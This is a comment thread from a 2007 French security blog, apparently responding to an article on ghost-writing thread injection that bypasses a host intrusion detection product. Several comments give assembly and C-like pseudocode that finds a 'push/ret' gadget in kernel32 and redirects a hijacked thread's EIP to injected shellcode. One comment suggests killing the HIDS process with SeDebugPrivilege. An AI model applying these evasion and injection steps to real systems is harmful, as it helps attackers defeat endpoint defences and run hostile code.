7 Comments

  • 1. Baboon  |  juin 27th, 2007 at 18:48

    Coucou
    Bravo pour cette technique !
    Tu aurais pu quand meme corriger le ghost writing pour ne pas te faire avoir par kas
    :p
    Ca se fait vraiment en 2 secondes , je ne resiste as a te le mettre en pseudo code :


    mov eax , addrKernel32.section:text
    .scann:
    add eax , 2
    mov dx , WORD [eax]
    and dx , 0xFFF0
    cmp dx , C350
    jne .scann

    movzx edx , BYTE [eax]
    and dl , 0x0F
    cmp dl , 3
    ja .scann

    movzx edx , byte [CONTEXTREG+edx] ;CONTEXTREG etant un tableau de bytes permettant de faire la liaison n° du reg / place du reg dans le context
    mov DWORD [ContextCible + edx] , addrShellCode
    mov DWORD [ContextCible + CONTEXT.eip] , eax

    call SetThreadContext , hThread , ContextCible

    call ResumeThread , hThread

    Bon en fait c’est plus du nasm qu’autre chose …
    T’as plus qu’a traduire en C , chanceux va !

  • 2. admin  |  juin 28th, 2007 at 12:11

    Yo Baboon,
    Dans ton cas tu debug le process avec un DebugActiveProcess puis tu passe ton thread en mode single step, ce qui te permet de pusher ton code dans un zone mémoire allouer. Dans mon cas j’injecte le code dans la stack du thread courant avec un mov [reg1], reg[2] suivit d’un ret qui va tomber dans un 0xEBFE pour se mettre en « attente » puis on reprend le context pour la suite de l’écriture. Donc ta méthode avec les push , ret m’oblige à recoder toute la méthode d’injection et je n’ai pas envie de le faire :P

  • 3. Baboon  |  juin 28th, 2007 at 13:51

    J’ai bien compris la methode d’injection , ne t’en fais pas !!
    dans ce cas il suffit tout simplement de remplacer le tout dernier SetThreadContext
    Comme je suis meugnon tout plein et que j’ai oublie ma clef USB avec tous mes travaux, j’ai du temps :P

    alors il suffit de remplacer cette partie du code de c0de90e7 :

    WorkingThreadContext.Eip=InjectedCodeExecutionStart; // set EIP to the base address where the
    // injected executable code starts ;)

    par :

    long addrKernel32 = (GetModuleHandleA (Kernel32) + 1000)
    long addrJmpEmu = addrKernel32
    for ( addrJmpEmu ; (*addrJmpEmu != 0xC350 ) ; addrJmpEmu++ )

    WorkingThreadContext.Eip = addrJmpEmu
    WorkingThreadContext.Eax = InjectedCodeExecutionStart

    Je ne suis pas sur de la validitée du code mais l’esprit est là :P

  • 4. low_rent_zoo  |  juin 30th, 2007 at 03:07

    Exellent article ivan , mais serieux arrette de pondre tes blabla de  » Salut je mange des chocapics et je cherche a comprendre wtf avec 0×7FFFFFFF  »
    Oseb .
    On veux du bypass constent juste comme celui- ci ! :P

    encore une fois mercay pour ton article ;)

  • 5. newsoft  |  juin 30th, 2007 at 18:45

    « Intellectuellement intéressant ».

    Mais si tu as SeDebugPrivilege, tu peux aussi tuer le process HIDS :)

  • 6. nats`  |  juillet 10th, 2007 at 14:37

    Ouai sauf que la discrétion c’est pas mal non plus ^^

  • 7. elsuk  |  juillet 31st, 2007 at 08:50

    Possible to make function injection??? Not shellcode

Trackback this post